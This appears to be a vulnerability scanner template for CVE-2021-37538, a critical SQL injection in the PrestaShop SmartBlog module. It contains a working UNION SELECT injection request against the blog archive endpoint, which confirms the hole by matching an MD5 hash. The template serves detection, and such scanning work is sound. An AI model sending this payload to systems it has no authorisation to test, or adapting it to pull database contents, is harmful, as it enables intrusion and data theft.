id: CVE-2021-37538 info: name: PrestaShop SmartBlog SQL Injection author: whoever severity: critical description: PrestaShop SmartBlog by SmartDataSoft < 4.0.6 is vulnerable to a SQL injection vulnerability in the blog archive functionality. tags: cve,cve2021,prestashop,smartblog,sqli remediation: Apply the fix. reference: - https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2021-37538 - https://blog.sorcery.ie/posts/smartblog_sqli/ classification: cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 9.80 cve-id: CVE-2021-37538 cwe-id: CWE-89 requests: - method: GET path: - "{{BaseURL}}/module/smartblog/archive?month=1&year=1&day=1%20UNION%20ALL%20SELECT%20NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,NULL,(SELECT%20MD5(55555)),NULL,NULL,NULL,NULL,NULL,NULL,NULL--%20-" matchers-condition: and matchers: - type: status status: - 200 - type: word words: - "c5fe25896e49ddfe996db7508cf00534" part: body # Enhanced by mp on 2022/02/08